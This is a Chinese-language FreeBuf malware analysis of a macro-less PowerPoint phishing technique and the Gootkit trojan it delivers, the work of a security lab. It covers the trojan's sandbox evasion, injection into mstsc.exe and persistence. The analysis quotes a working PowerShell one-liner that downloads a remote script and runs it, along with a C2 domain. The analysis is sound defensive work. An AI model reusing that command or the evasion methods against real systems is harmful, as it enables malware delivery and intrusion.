當前位置:
首頁 > 新聞 > 新型PPT釣魚攻擊分析(含gootkit木馬詳細分析)

新型PPT釣魚攻擊分析(含gootkit木馬詳細分析)

* 本文作者:蘭雲科技銀河實驗室@diffway,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


1 概述


最近出現了一種新型的PPT釣魚攻擊方式,該種釣魚攻擊方式不需要宏就能實現執行powershell的功能,通過網路下載gootkit木馬進行控制。

2 分析


樣本 MD5:3bff3e4fec2b6030c89e792c05f049fc


在拿到樣本我們放到虛擬機中進行執行,可以看到以下,但是這並不會觸發攻擊


當我們用F5放映這個文檔後,並把滑鼠放到 Loading…Please wait 這個上面,就可以看到如下的畫面,提示我們要啟動一個外部程序


這個時候我們在點擊啟動之後,會看見一個powershell的窗口一閃而過,可以知道樣本執行了一段powershell的腳本



我們將樣本後綴名改為zip,看看這段powershell 代碼在何處,我們最終在pptslides中找到了這段powershell腳本



我們在slide1.xml.rels 中找到這段powershell腳本,我們可以看到Id為rId2,


我們在對應的slide1.xml 中id為rId2 對應的動作位為,當滑鼠覆蓋時,就觸發這個外部事件




我們來看看這段powershell 腳本(已還原),可以看到是下載一個php文件放到臨時文件夾,並重命名為ii.jse



powershell -NoP -NonI -W Hidden -ExecBypass "IEX (New-Object System.Net.WebClient).DownloadFile("http://"+"cccn.nl/"+"c.php","$env:tempii.jse");Invoke-Item "$env:tempii.jse""


我們可以看到這個js 文件,這個文件是經過強混淆的作用是下載個exe文件



我們來詳細分析下下載到的PE文件













MD5

13cdbd8c31155610b628423dc2720419

編譯時間

2017年5月27日14點

編譯器信息

Microsoft Visual C++ ver. 8.0

殼信息

無殼


下圖為樣本的大致流程



在樣本的開始階段,做了些反模擬機的工作,比如一些錯誤的函數調用,看返回值是否被修改,執行很多無效指令,來達到模擬機指令的閾值等等


我們來看看這個樣本中的sub_41E160中的無效指令



之後一個大的sleep來對抗沙箱,因為很多沙箱是有時間範圍的



之後在解密出一段shellcode進行執行,這段shellcode的主要作用就是解密出一個pe文件然後載入運行,解密出的PE文件



將這個PE文件dump出來,看以下基本信息












MD5

89509761e2636e2b8a1c6f7ec8823b8f

編譯器時間

2011-04-11 02:39:24

編譯器類型

Microsoft Visual C++ ver. ~6.0~7.10 – Linker 10 – Visual 2010


樣本首先會獲取當前樣本名稱和mstsc.exe比較,如果不相同,則進入注入模塊



樣本首先會創建mstsc.exe



然後通過ZwCreateSection和ZwMapViewOfSection 進行注入,並在注入後,獲取啟動地址並進行修改


我們手動附加,進行修改,然後修改EIP,進行調試,我們將開始地址修改為下面的樣子



由於和原文件代碼相同,我們直接到文件名比較的地方,這裡比較相同後,首先會獲取進程的許可權



如果判斷是低許可權的進程,則會通過ShellExecuteEx 使用管理員許可權啟動



之後在比較當前進程不是IE和不是任務進程後,打開BIOS註冊表,查找是否在虛擬機中



並從系統信息中找到沙箱的蛛絲馬跡這個是尋找Sandbox


查找BOCHS



查找的沙箱還有 VBOX 、QEMU、SMCI、Vmware、FTNT-1、VirtualBox、


如果查找到沙箱則進入死循環



然後拷貝自身到如下目錄下,重命名位mqnets.exe,並執行



並刪除自身



我們看看在拷貝到IE目錄下樣本會做些什麼,在這裡比較是在IE目錄下的時候,會發生跳轉


可以通過偽代碼可以發現在通過比較後。會執行一個線程,我們看看這個線程



開頭還是一段判斷自己是否在虛擬機中



設置了4個環境變數分別是


Standalonemtm true


Vendor_id exe_scheduler_3333


Mainprocessoverride svchost.exe


RandomListenPortBase 6000


這個線程的主要作用是開啟下面的5個線程



我們首先看第一個線程,主要作用是連接一個網址


網址為 web.1901ospinosct.com




在連接時候,還包括了探測IE代理的設置,如果發現,進行設置



關閉重定向和加入查詢認證(SSL)



將接收的文件內容放到註冊中



註冊表為 HKEY_CURRENT_USERSoftwareinaryImage32_0


HKEY_CURRENT_USERSoftwareinaryImage32_1



第二個線程主要是將第一步下載的創建成文件



將IE的保護模式設置位禁用



第三個線程將文件進行注入



第四個線程主要是保持持久化


創建inf文件



設置啟動


使用 IEAKGroupPolicyPendingGPOs key 去保持持久化



第五個線程主要是判斷Temp文件是否如下圖的文件,如果有殼殺死自身,並刪除自身




總結


樣本在對抗沙箱和模擬機中有很強的針對性,在持久話方面也很獨特,值得研究一下


* 本文作者:蘭雲科技銀河實驗室@diffway,本文屬FreeBuf原創獎勵計劃,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 FreeBuf 的精彩文章:

Industroyer去年袭击乌克兰电网?这可能是震网之后最危险的工控恶意程序
新型PPT釣魚攻擊分析
你可以用U盤黑掉一輛馬自達

TAG:FreeBuf |

您可能感興趣

Check Point安全研究人員針對UPAS Kit與Kronos銀行木馬的分析(二)
Check Point安全研究人員針對UPAS Kit與Kronos銀行木馬的分析(一)
TinyHttpd源碼分析
【項目分析】Origin Protocol 愛西歐
Python數據分析-numpy詳細教程一
Mozilla Rhino 反序列化漏洞 POC 分析
ThreadLocal源碼分析
TensorFlow 的模型分析工具——TFMA
史上最全的Python數據分析工具:Notebook教程
Twitter 開源數據分析工具——tinfoleak
HikariCP源碼分析之leakDetectionThreshold及實戰解決Spark/Scala連接池泄漏
Bioconductor的DNA甲基化晶元分析流程
來(8)個工具:文檔分析-DocumentAnalysis
卡巴斯基——Energetic Bear/Crouching Yeti APT分析報告
詳細分析腳底筋膜炎Plantar Fasciitis
PHP源碼分析之parse
Prometheus原理和源碼分析
Python數據分析常見庫介紹之Pandas
Smartisan OS詳細分析 堅果R1有全新的交互邏輯
Paperclip中的伺服器端請求偽造(SSRF)漏洞分析